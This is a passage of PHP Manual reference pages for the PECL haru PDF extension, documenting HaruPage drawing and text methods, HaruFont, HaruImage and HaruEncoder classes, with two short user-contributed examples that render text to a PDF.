The phase on which the pattern begins.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getDash() - Get the current dash pattern

User Contributed Notes

There are no user contributed notes for this page.


Set flatness for the page

  • « HaruPage::setDash
  • HaruPage::setFontAndSize »
  • PHP Manual
  • HaruPage
  • Set flatness for the page

HaruPage::setFlatness

(PECL haru >= 0.0.1)

HaruPage::setFlatness — Set flatness for the page

Description

bool HaruPage::setFlatness ( float $flatness )

Defines flatness for the page.

Parameters

flatness

The defined flatness for the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getFlatness() - Get the flatness of the page

User Contributed Notes

There are no user contributed notes for this page.


Set font and fontsize for the page

  • « HaruPage::setFlatness
  • HaruPage::setGrayFill »
  • PHP Manual
  • HaruPage
  • Set font and fontsize for the page

HaruPage::setFontAndSize

(PECL haru >= 0.0.1)

HaruPage::setFontAndSize — Set font and fontsize for the page

Description

bool HaruPage::setFontAndSize ( object $font , float $size )

Defines current font and its size for the page.

Parameters

font

A valid HaruFont instance.

size

The size of the font.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::getFont() - Get HaruFont instance

User Contributed Notes

There are no user contributed notes for this page.


Set filling color for the page

  • « HaruPage::setFontAndSize
  • HaruPage::setGrayStroke »
  • PHP Manual
  • HaruPage
  • Set filling color for the page

HaruPage::setGrayFill

(PECL haru >= 0.0.1)

HaruPage::setGrayFill — Set filling color for the page

Description

bool HaruPage::setGrayFill ( float $value )

Defines filling color for the page.

Parameters

value

The value of gray level between 0 and 1.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getGrayFill() - Get the current filling color

User Contributed Notes

There are no user contributed notes for this page.


Sets stroking color for the page

  • « HaruPage::setGrayFill
  • HaruPage::setHeight »
  • PHP Manual
  • HaruPage
  • Sets stroking color for the page

HaruPage::setGrayStroke

(PECL haru >= 0.0.1)

HaruPage::setGrayStroke — Sets stroking color for the page

Description

bool HaruPage::setGrayStroke ( float $value )

Defines stroking color for the page.

Parameters

value

The value of gray level between 0 and 1.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getGrayStroke() - Get the current stroking color

User Contributed Notes

There are no user contributed notes for this page.


Set height of the page

  • « HaruPage::setGrayStroke
  • HaruPage::setHorizontalScaling »
  • PHP Manual
  • HaruPage
  • Set height of the page

HaruPage::setHeight

(PECL haru >= 0.0.1)

HaruPage::setHeight — Set height of the page

Description

bool HaruPage::setHeight ( float $height )

Defines height of the page.

Parameters

height

The defined height for the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getHeight() - Get the height of the page

User Contributed Notes

There are no user contributed notes for this page.


Set horizontal scaling for the page

  • « HaruPage::setHeight
  • HaruPage::setLineCap »
  • PHP Manual
  • HaruPage
  • Set horizontal scaling for the page

HaruPage::setHorizontalScaling

(PECL haru >= 0.0.1)

HaruPage::setHorizontalScaling — Set horizontal scaling for the page

Description

bool HaruPage::setHorizontalScaling ( float $scaling )

Set the horizontal scaling for the page.

Parameters

scaling

The horizontal scaling for text showing on the page. The initial value is 100.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getHorizontalScaling() - Get the current value of horizontal scaling

User Contributed Notes

There are no user contributed notes for this page.


Set the shape to be used at the ends of lines

  • « HaruPage::setHorizontalScaling
  • HaruPage::setLineJoin »
  • PHP Manual
  • HaruPage
  • Set the shape to be used at the ends of lines

HaruPage::setLineCap

(PECL haru >= 0.0.1)

HaruPage::setLineCap — Set the shape to be used at the ends of lines

Description

bool HaruPage::setLineCap ( int $cap )

Defines the shape to be used at the ends of lines.

Parameters

cap

Must be one of the following values:

  • HaruPage::BUTT_END - the line is squared off at the endpoint of the path.
  • HaruPage::ROUND_END - the end of the line becomes a semicircle with center in the end point of the path.
  • HaruPage::PROJECTING_SCUARE_END - the line continues to the point that exceeds half of the stroke width the end point.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getLineCap() - Get the current line cap style

User Contributed Notes

There are no user contributed notes for this page.


Set line join style for the page

  • « HaruPage::setLineCap
  • HaruPage::setLineWidth »
  • PHP Manual
  • HaruPage
  • Set line join style for the page

HaruPage::setLineJoin

(PECL haru >= 0.0.1)

HaruPage::setLineJoin — Set line join style for the page

Description

bool HaruPage::setLineJoin ( int $join )

Defines line join style for the page.

Parameters

join

Must be one of the following values:

  • HaruPage::MITER_JOIN
  • HaruPage::ROUND_JOIN
  • HaruPage::BEVEL_JOIN

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getLineJoin() - Get the current line join style

User Contributed Notes

There are no user contributed notes for this page.


Set line width for the page

  • « HaruPage::setLineJoin
  • HaruPage::setMiterLimit »
  • PHP Manual
  • HaruPage
  • Set line width for the page

HaruPage::setLineWidth

(PECL haru >= 0.0.1)

HaruPage::setLineWidth — Set line width for the page

Description

bool HaruPage::setLineWidth ( float $width )

Defines line width for the page.

Parameters

width

The defined line width for the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getLineWidth() - Get the current line width

User Contributed Notes

There are no user contributed notes for this page.


Set the current value of the miter limit of the page

  • « HaruPage::setLineWidth
  • HaruPage::setRGBFill »
  • PHP Manual
  • HaruPage
  • Set the current value of the miter limit of the page

HaruPage::setMiterLimit

(PECL haru >= 0.0.1)

HaruPage::setMiterLimit — Set the current value of the miter limit of the page

Description

bool HaruPage::setMiterLimit ( float $limit )

Set the current value of the miter limit of the page.

Parameters

limit

Defines the current value of the miter limit of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getMiterLimit() - Get the value of miter limit

User Contributed Notes

There are no user contributed notes for this page.


Set filling color for the page

  • « HaruPage::setMiterLimit
  • HaruPage::setRGBStroke »
  • PHP Manual
  • HaruPage
  • Set filling color for the page

HaruPage::setRGBFill

(PECL haru >= 0.0.1)

HaruPage::setRGBFill — Set filling color for the page

Description

bool HaruPage::setRGBFill ( float $r , float $g , float $b )

Defines filling color for the page. All values must be between 0 and 1.

Parameters

r

g

b

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getRGBFill() - Get the current filling color

User Contributed Notes

There are no user contributed notes for this page.


Set stroking color for the page

  • « HaruPage::setRGBFill
  • HaruPage::setRotate »
  • PHP Manual
  • HaruPage
  • Set stroking color for the page

HaruPage::setRGBStroke

(PECL haru >= 0.0.1)

HaruPage::setRGBStroke — Set stroking color for the page

Description

bool HaruPage::setRGBStroke ( float $r , float $g , float $b )

Defines stroking color for the page. All values must be between 0 and 1.

Parameters

r

g

b

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getRGBStroke() - Get the current stroking color

User Contributed Notes

There are no user contributed notes for this page.


Set rotation angle of the page

  • « HaruPage::setRGBStroke
  • HaruPage::setSize »
  • PHP Manual
  • HaruPage
  • Set rotation angle of the page

HaruPage::setRotate

(PECL haru >= 0.0.1)

HaruPage::setRotate — Set rotation angle of the page

Description

bool HaruPage::setRotate ( int $angle )

Defines rotation angle of the page.

Parameters

angle

Must be a multiple of 90 degrees.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set size and direction of the page

  • « HaruPage::setRotate
  • HaruPage::setSlideShow »
  • PHP Manual
  • HaruPage
  • Set size and direction of the page

HaruPage::setSize

(PECL haru >= 0.0.1)

HaruPage::setSize — Set size and direction of the page

Description

bool HaruPage::setSize ( int $size , int $direction )

Changes size and direction of the page to a predefined format.

Parameters

size

Must be one of the following values:

  • HaruPage::SIZE_LETTER
  • HaruPage::SIZE_LEGAL
  • HaruPage::SIZE_A3
  • HaruPage::SIZE_A4
  • HaruPage::SIZE_A5
  • HaruPage::SIZE_B4
  • HaruPage::SIZE_B5
  • HaruPage::SIZE_EXECUTIVE
  • HaruPage::SIZE_US4x6
  • HaruPage::SIZE_US4x8
  • HaruPage::SIZE_US5x7
  • HaruPage::SIZE_COMM10

direction

Must be one of the following values:

  • HaruPage::PORTRAIT
  • HaruPage::LANDSCAPE

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setWidth() - Set width of the page
  • HaruPage::setHeight() - Set height of the page

User Contributed Notes

There are no user contributed notes for this page.


Set transition style for the page

  • « HaruPage::setSize
  • HaruPage::setTextLeading »
  • PHP Manual
  • HaruPage
  • Set transition style for the page

HaruPage::setSlideShow

(PECL haru >= 0.0.1)

HaruPage::setSlideShow — Set transition style for the page

Description

bool HaruPage::setSlideShow ( int $type , float $disp_time , float $trans_time )

Defines transition style for the page.

Parameters

type

Must be one of the following values:

  • HaruPage::TS_WIPE_RIGHT
  • HaruPage::TS_WIPE_LEFT
  • HaruPage::TS_WIPE_UP
  • HaruPage::TS_WIPE_DOWN
  • HaruPage::TS_BARN_DOORS_HORIZONTAL_OUT
  • HaruPage::TS_BARN_DOORS_HORIZONTAL_IN
  • HaruPage::TS_BARN_DOORS_VERTICAL_OUT
  • HaruPage::TS_BARN_DOORS_VERTICAL_IN
  • HaruPage::TS_BOX_OUT
  • HaruPage::TS_BOX_IN
  • HaruPage::TS_BLINDS_HORIZONTAL
  • HaruPage::TS_BLINDS_VERTICAL
  • HaruPage::TS_DISSOLVE
  • HaruPage::TS_GLITTER_RIGHT
  • HaruPage::TS_GLITTER_DOWN
  • HaruPage::TS_GLITTER_TOP_LEFT_TO_BOTTOM_RIGHT
  • HaruPage::TS_REPLACE

disp_time

The display duration of the page in seconds.

trans_time

The duration of the transition effect in seconds.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set text leading (line spacing) for the page

  • « HaruPage::setSlideShow
  • HaruPage::setTextMatrix »
  • PHP Manual
  • HaruPage
  • Set text leading (line spacing) for the page

HaruPage::setTextLeading

(PECL haru >= 0.0.1)

HaruPage::setTextLeading — Set text leading (line spacing) for the page

Description

bool HaruPage::setTextLeading ( float $text_leading )

Set the text leading (line spacing) for the page.

Parameters

text_leading

Defines line spacing for the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getTextLeading() - Get the current value of line spacing

User Contributed Notes

There are no user contributed notes for this page.


Set the current text transformation matrix of the page

  • « HaruPage::setTextLeading
  • HaruPage::setTextRenderingMode »
  • PHP Manual
  • HaruPage
  • Set the current text transformation matrix of the page

HaruPage::setTextMatrix

(PECL haru >= 0.0.1)

HaruPage::setTextMatrix — Set the current text transformation matrix of the page

Description

bool HaruPage::setTextMatrix ( float $a , float $b , float $c , float $d , float $x , float $y )

Defines the text transformation matrix of the page.

Parameters

a

Width multiplier.

b

Vertical skew in radians.

c

Horizontal skew in radians.

d

Height multiplier.

x

Horizontal position for text.

y

Vertical position for text.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getTextMatrix() - Get the current text transformation matrix of the page

User Contributed Notes

There are no user contributed notes for this page.


Set text rendering mode for the page

  • « HaruPage::setTextMatrix
  • HaruPage::setTextRise »
  • PHP Manual
  • HaruPage
  • Set text rendering mode for the page

HaruPage::setTextRenderingMode

(PECL haru >= 0.0.1)

HaruPage::setTextRenderingMode — Set text rendering mode for the page

Description

bool HaruPage::setTextRenderingMode ( int $mode )

Defines text rendering mode for the page.

Parameters

mode

Must be one of the following values:

  • HaruPage::FILL
  • HaruPage::STROKE
  • HaruPage::FILL_THEN_STROKE
  • HaruPage::INVISIBLE
  • HaruPage::FILL_CLIPPING
  • HaruPage::STROKE_CLIPPING
  • HaruPage::FILL_STROKE_CLIPPING
  • HaruPage::CLIPPING

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getTextRenderingMode() - Get the current text rendering mode

User Contributed Notes

There are no user contributed notes for this page.


Set the current value of text rising

  • « HaruPage::setTextRenderingMode
  • HaruPage::setWidth »
  • PHP Manual
  • HaruPage
  • Set the current value of text rising

HaruPage::setTextRise

(PECL haru >= 0.0.1)

HaruPage::setTextRise — Set the current value of text rising

Description

bool HaruPage::setTextRise ( float $rise )

Set the current value of text rising.

Parameters

rise

Defines the current value of text rising.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getTextRise() - Get the current value of text rising

User Contributed Notes

There are no user contributed notes for this page.


Set width of the page

  • « HaruPage::setTextRise
  • HaruPage::setWordSpace »
  • PHP Manual
  • HaruPage
  • Set width of the page

HaruPage::setWidth

(PECL haru >= 0.0.1)

HaruPage::setWidth — Set width of the page

Description

bool HaruPage::setWidth ( float $width )

Set the width of the page.

Parameters

width

Defines width of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getWidth() - Get the width of the page

User Contributed Notes

There are no user contributed notes for this page.


Set word spacing for the page

  • « HaruPage::setWidth
  • HaruPage::showText »
  • PHP Manual
  • HaruPage
  • Set word spacing for the page

HaruPage::setWordSpace

(PECL haru >= 0.0.1)

HaruPage::setWordSpace — Set word spacing for the page

Description

bool HaruPage::setWordSpace ( float $word_space )

Set the word spacing for the page.

Parameters

word_space

Defines word spacing for the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getWordSpace() - Get the current value of word spacing

User Contributed Notes

There are no user contributed notes for this page.


Print text at the current position of the page

  • « HaruPage::setWordSpace
  • HaruPage::showTextNextLine »
  • PHP Manual
  • HaruPage
  • Print text at the current position of the page

HaruPage::showText

(PECL haru >= 0.0.1)

HaruPage::showText — Print text at the current position of the page

Description

bool HaruPage::showText ( string $text )

Prints out the text at the current position of the page.

Parameters

text

The text to show.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::showTextNextLine() - Move the current position to the start of the next line and print the text
  • HaruPage::textOut() - Print the text on the specified position

User Contributed Notes

aku at syuaa dot net 09-Jun-2011 12:02
My First Hello Text

<?php

$text = "Hello Text";

$doc=new HaruDoc;
$page=$doc->addPage();

//load haru font Times-Roman
$font = $doc->getFont('Times-Roman');

//Set margin top to 50 pixel
$mTop = 50;

//Set first yPos, you will need to reduce text height
$ypos = $page->getHeight()-$mTop-12;

$page->beginText();
$page->setFontandSize($font, 12);
$page->moveTextPos(100,$ypos,false);
$page->showText($text);
$page->endText();

header('Content-type: application/pdf');
$doc->output();

/*[x]syuaa[x]*/
?>


Move the current position to the start of the next line and print the text

  • « HaruPage::showText
  • HaruPage::stroke »
  • PHP Manual
  • HaruPage
  • Move the current position to the start of the next line and print the text

HaruPage::showTextNextLine

(PECL haru >= 0.0.1)

HaruPage::showTextNextLine — Move the current position to the start of the next line and print the text

Description

bool HaruPage::showTextNextLine ( string $text [, float $word_space = 0 [, float $char_space = 0 ]] )

Moves the current position to the start of the next line and print out the text.

Parameters

text

The text to show.

word_space

The word spacing.

char_space

The character spacing.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::showText() - Print text at the current position of the page
  • HaruPage::textOut() - Print the text on the specified position

User Contributed Notes

There are no user contributed notes for this page.


Paint current path

  • « HaruPage::showTextNextLine
  • HaruPage::textOut »
  • PHP Manual
  • HaruPage
  • Paint current path

HaruPage::stroke

(PECL haru >= 0.0.1)

HaruPage::stroke — Paint current path

Description

bool HaruPage::stroke ([ bool $close_path = false ] )

Paints the current path.

Parameters

close_path

Closes the current path if set to TRUE.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Print the text on the specified position

  • « HaruPage::stroke
  • HaruPage::textRect »
  • PHP Manual
  • HaruPage
  • Print the text on the specified position

HaruPage::textOut

(PECL haru >= 0.0.1)

HaruPage::textOut — Print the text on the specified position

Description

bool HaruPage::textOut ( float $x , float $y , string $text )

Prints the text on the specified position.

Parameters

x

y

text

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::showTextNextLine() - Move the current position to the start of the next line and print the text
  • HaruPage::showText() - Print text at the current position of the page

User Contributed Notes

aku at syuaa dot net 09-Jun-2011 11:53
a simple sample of textOut :

<?php

$text = "Syuaa is another little programmer";

$doc=new HaruDoc;
$page=$doc->addPage();

//load haru font Times-Roman
$font = $doc->getFont('Times-Roman');

//Begin creating text on x100, y150
$page->beginText();
$page->setFontandSize($font, 12);
$page->textOut(100, 150, $text);
$page->endText();

//Open as pdf
header('Content-type: application/pdf');
$doc->output();
?>


Print the text inside the specified region

  • « HaruPage::textOut
  • HaruFont »
  • PHP Manual
  • HaruPage
  • Print the text inside the specified region

HaruPage::textRect

(PECL haru >= 0.0.1)

HaruPage::textRect — Print the text inside the specified region

Description

bool HaruPage::textRect ( float $left , float $top , float $right , float $bottom , string $text [, int $align = HaruPage::TALIGN_LEFT ] )

Prints the text inside the specified region.

Parameters

left

Left border of the text area.

top

Top border of the text area.

right

Right border of the text area.

bottom

Lower border of the text area.

text

The text to print.

align

Text alignment. Must be one of the following values:

  • HaruPage::TALIGN_LEFT
  • HaruPage::TALIGN_RIGHT
  • HaruPage::TALIGN_CENTER
  • HaruPage::TALIGN_JUSTIFY

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::showTextNextLine() - Move the current position to the start of the next line and print the text
  • HaruPage::showText() - Print text at the current position of the page
  • HaruPage::textOut() - Print the text on the specified position

User Contributed Notes

There are no user contributed notes for this page.


The HaruFont class

(PECL haru >= 0.0.1)

Introduction

Haru PDF Font Class.

Class synopsis

HaruFont {
/* Methods */
int getAscent ( void )
int getCapHeight ( void )
int getDescent ( void )
string getEncodingName ( void )
string getFontName ( void )
array getTextWidth ( string $text )
int getUnicodeWidth ( int $character )
int getXHeight ( void )
int measureText ( string $text , float $width , float $font_size , float $char_space , float $word_space [, bool $word_wrap = false ] )
}

Table of Contents

  • HaruFont::getAscent — Get the vertical ascent of the font
  • HaruFont::getCapHeight — Get the distance from the baseline of uppercase letters
  • HaruFont::getDescent — Get the vertical descent of the font
  • HaruFont::getEncodingName — Get the name of the encoding
  • HaruFont::getFontName — Get the name of the font
  • HaruFont::getTextWidth — Get the total width of the text, number of characters, number of words and number of spaces
  • HaruFont::getUnicodeWidth — Get the width of the character in the font
  • HaruFont::getXHeight — Get the distance from the baseline of lowercase letters
  • HaruFont::measureText — Calculate the number of characters which can be included within the specified width

User Contributed Notes

There are no user contributed notes for this page.


Get the vertical ascent of the font

  • « HaruFont
  • HaruFont::getCapHeight »
  • PHP Manual
  • HaruFont
  • Get the vertical ascent of the font

HaruFont::getAscent

(PECL haru >= 0.0.1)

HaruFont::getAscent — Get the vertical ascent of the font

Description

int HaruFont::getAscent ( void )

Get the vertical ascent of the font.

Parameters

This function has no parameters.

Return Values

Returns the vertical ascent of the font.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the distance from the baseline of uppercase letters

  • « HaruFont::getAscent
  • HaruFont::getDescent »
  • PHP Manual
  • HaruFont
  • Get the distance from the baseline of uppercase letters

HaruFont::getCapHeight

(PECL haru >= 0.0.1)

HaruFont::getCapHeight — Get the distance from the baseline of uppercase letters

Description

int HaruFont::getCapHeight ( void )

Get the distance from the baseline of uppercase letters.

Parameters

This function has no parameters.

Return Values

Returns the distance from the baseline of uppercase letters.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the vertical descent of the font

  • « HaruFont::getCapHeight
  • HaruFont::getEncodingName »
  • PHP Manual
  • HaruFont
  • Get the vertical descent of the font

HaruFont::getDescent

(PECL haru >= 0.0.1)

HaruFont::getDescent — Get the vertical descent of the font

Description

int HaruFont::getDescent ( void )

Get the vertical descent of the font.

Parameters

This function has no parameters.

Return Values

Return the vertical descent of the font.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the name of the encoding

  • « HaruFont::getDescent
  • HaruFont::getFontName »
  • PHP Manual
  • HaruFont
  • Get the name of the encoding

HaruFont::getEncodingName

(PECL haru >= 0.0.1)

HaruFont::getEncodingName — Get the name of the encoding

Description

string HaruFont::getEncodingName ( void )

Get the name of the font encoding.

Parameters

This function has no parameters.

Return Values

Returns the name of the font encoding.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the name of the font

  • « HaruFont::getEncodingName
  • HaruFont::getTextWidth »
  • PHP Manual
  • HaruFont
  • Get the name of the font

HaruFont::getFontName

(PECL haru >= 0.0.1)

HaruFont::getFontName — Get the name of the font

Description

string HaruFont::getFontName ( void )

Get the name of the font.

Parameters

This function has no parameters.

Return Values

Returns the name of the font.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the total width of the text, number of characters, number of words and number of spaces

  • « HaruFont::getFontName
  • HaruFont::getUnicodeWidth »
  • PHP Manual
  • HaruFont
  • Get the total width of the text, number of characters, number of words and number of spaces

HaruFont::getTextWidth

(PECL haru >= 0.0.1)

HaruFont::getTextWidth — Get the total width of the text, number of characters, number of words and number of spaces

Description

array HaruFont::getTextWidth ( string $text )

Get the total width of the text, number of characters, number of words and number of spaces.

Parameters

text

The text to measure.

Return Values

Returns the total width of the text, number of characters, number of words and number of spaces in the given text.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the width of the character in the font

  • « HaruFont::getTextWidth
  • HaruFont::getXHeight »
  • PHP Manual
  • HaruFont
  • Get the width of the character in the font

HaruFont::getUnicodeWidth

(PECL haru >= 0.0.1)

HaruFont::getUnicodeWidth — Get the width of the character in the font

Description

int HaruFont::getUnicodeWidth ( int $character )

Get the width of the character in the font.

Parameters

character

The code of the character.

Return Values

Returns the width of the character in the font.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the distance from the baseline of lowercase letters

  • « HaruFont::getUnicodeWidth
  • HaruFont::measureText »
  • PHP Manual
  • HaruFont
  • Get the distance from the baseline of lowercase letters

HaruFont::getXHeight

(PECL haru >= 0.0.1)

HaruFont::getXHeight — Get the distance from the baseline of lowercase letters

Description

int HaruFont::getXHeight ( void )

Gets the distance from the baseline of lowercase letters.

Parameters

This function has no parameters.

Return Values

Returns the distance from the baseline of lowercase letters.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Calculate the number of characters which can be included within the specified width

  • « HaruFont::getXHeight
  • HaruImage »
  • PHP Manual
  • HaruFont
  • Calculate the number of characters which can be included within the specified width

HaruFont::measureText

(PECL haru >= 0.0.1)

HaruFont::measureText — Calculate the number of characters which can be included within the specified width

Description

int HaruFont::measureText ( string $text , float $width , float $font_size , float $char_space , float $word_space [, bool $word_wrap = false ] )

Calculate the number of characters which can be included within the specified width.

Parameters

text

The text to fit the width.

width

The width of the area to put the text to.

font_size

The size of the font.

char_space

The character spacing.

word_space

The word spacing.

word_wrap

When this parameter is set to TRUE the function "emulates" word wrapping and doesn't include the part of the current word if reached the end of the area.

Return Values

Returns the number of characters which can be included within the specified width.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


The HaruImage class

(PECL haru >= 0.0.1)

Introduction

Haru PDF Image Class.

Class synopsis

HaruImage {
/* Methods */
int getBitsPerComponent ( void )
string getColorSpace ( void )
int getHeight ( void )
array getSize ( void )
int getWidth ( void )
bool setColorMask ( int $rmin , int $rmax , int $gmin , int $gmax , int $bmin , int $bmax )
bool setMaskImage ( object $mask_image )
}

Table of Contents

  • HaruImage::getBitsPerComponent — Get the number of bits used to describe each color component of the image
  • HaruImage::getColorSpace — Get the name of the color space
  • HaruImage::getHeight — Get the height of the image
  • HaruImage::getSize — Get size of the image
  • HaruImage::getWidth — Get the width of the image
  • HaruImage::setColorMask — Set the color mask of the image
  • HaruImage::setMaskImage — Set the image mask

User Contributed Notes

There are no user contributed notes for this page.


Get the number of bits used to describe each color component of the image

  • « HaruImage
  • HaruImage::getColorSpace »
  • PHP Manual
  • HaruImage
  • Get the number of bits used to describe each color component of the image

HaruImage::getBitsPerComponent

(PECL haru >= 0.0.1)

HaruImage::getBitsPerComponent — Get the number of bits used to describe each color component of the image

Description

int HaruImage::getBitsPerComponent ( void )

Gets the number of bits used to describe each color component of the image.

Parameters

This function has no parameters.

Return Values

Returns the number of bits used to describe each color component of the image.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the name of the color space

  • « HaruImage::getBitsPerComponent
  • HaruImage::getHeight »
  • PHP Manual
  • HaruImage
  • Get the name of the color space

HaruImage::getColorSpace

(PECL haru >= 0.0.1)

HaruImage::getColorSpace — Get the name of the color space

Description

string HaruImage::getColorSpace ( void )

Get the name of the color space.

Parameters

This function has no parameters.

Return Values

Returns the name of the color space of the image. The name is one of the following values:

  • "DeviceGray"
  • "DeviceRGB"
  • "DeviceCMYK"
  • "Indexed"

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the height of the image

  • « HaruImage::getColorSpace
  • HaruImage::getSize »
  • PHP Manual
  • HaruImage
  • Get the height of the image

HaruImage::getHeight

(PECL haru >= 0.0.1)

HaruImage::getHeight — Get the height of the image

Description

int HaruImage::getHeight ( void )

Get the height of the image.

Parameters

This function has no parameters.

Return Values

Returns the height of the image.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get size of the image

  • « HaruImage::getHeight
  • HaruImage::getWidth »
  • PHP Manual
  • HaruImage
  • Get size of the image

HaruImage::getSize

(PECL haru >= 0.0.1)

HaruImage::getSize — Get size of the image

Description

array HaruImage::getSize ( void )

Get the size of the image.

Parameters

This function has no parameters.

Return Values

Returns an array with two elements: width and height, which contain appropriate dimensions of the image.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the width of the image

  • « HaruImage::getSize
  • HaruImage::setColorMask »
  • PHP Manual
  • HaruImage
  • Get the width of the image

HaruImage::getWidth

(PECL haru >= 0.0.1)

HaruImage::getWidth — Get the width of the image

Description

int HaruImage::getWidth ( void )

Get the width of the image.

Parameters

This function has no parameters.

Return Values

Returns the width of the image.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the color mask of the image

  • « HaruImage::getWidth
  • HaruImage::setMaskImage »
  • PHP Manual
  • HaruImage
  • Set the color mask of the image

HaruImage::setColorMask

(PECL haru >= 0.0.1)

HaruImage::setColorMask — Set the color mask of the image

Description

bool HaruImage::setColorMask ( int $rmin , int $rmax , int $gmin , int $gmax , int $bmin , int $bmax )

Defines the transparent color of the image using the RGB range values. The color within the range is displayed as a transparent color. The color space of the image must be RGB.

Parameters

rmin

The lower limit of red. Must be between 0 and 255.

rmax

The upper limit of red. Must be between 0 and 255.

gmin

The lower limit of green. Must be between 0 and 255.

gmax

The upper limit of green. Must be between 0 and 255.

bmin

The lower limit of blue. Must be between 0 and 255.

bmax

The upper limit of blue. Must be between 0 and 255.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the image mask

  • « HaruImage::setColorMask
  • HaruEncoder »
  • PHP Manual
  • HaruImage
  • Set the image mask

HaruImage::setMaskImage

(PECL haru >= 0.0.1)

HaruImage::setMaskImage — Set the image mask

Description

bool HaruImage::setMaskImage ( object $mask_image )

Sets the image used as image-mask. It must be 1bit gray-scale color image.

Parameters

mask_image

A valid HaruImage instance.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


The HaruEncoder class

(PECL haru >= 0.0.1)

Introduction

Haru PDF Encoder Class.

Class synopsis

HaruEncoder {
/* Methods */
int getByteType ( string $text , int $index )
int getType ( void )
int getUnicode ( int $character )
int getWritingMode ( void )
}

Predefined Constants

Type | Name | Description
int | HaruEncoder::TYPE_SINGLE_BYTE |
int | HaruEncoder::TYPE_DOUBLE_BYTE |
int | HaruEncoder::TYPE_UNINITIALIZED |
int | HaruEncoder::UNKNOWN |
int | HaruEncoder::WMODE_HORIZONTAL |
int | HaruEncoder::WMODE_VERTICAL |
int | HaruEncoder::BYTE_TYPE_SINGLE |
int | HaruEncoder::BYTE_TYPE_LEAD |
int | HaruEncoder::BYTE_TYPE_TRAIL |
int | HaruEncoder::BYTE_TYPE_UNKNOWN |

Table of Contents

  • HaruEncoder::getByteType — Get the type of the byte in the text
  • HaruEncoder::getType — Get the type of the encoder
  • HaruEncoder::getUnicode — Convert the specified character to unicode
  • HaruEncoder::getWritingMode — Get the writing mode of the encoder

User Contributed Notes

There are no user contributed notes for this page.


Get the type of the byte in the text

  • « HaruEncoder
  • HaruEncoder::getType »
  • PHP Manual
  • HaruEncoder
  • Get the type of the byte in the text

HaruEncoder::getByteType

(PECL haru >= 0.0.1)

HaruEncoder::getByteType — Get the type of the byte in the text

Description

int HaruEncoder::getByteType ( string $text , int $index )

Get the type of the byte in the text.

Parameters

text

The text.

index

The position in the text.

Return Values

Returns the type of the byte in the text on the specified position. The result is one of the following values:

  • HaruEncoder::BYTE_TYPE_SINGLE - single byte character.
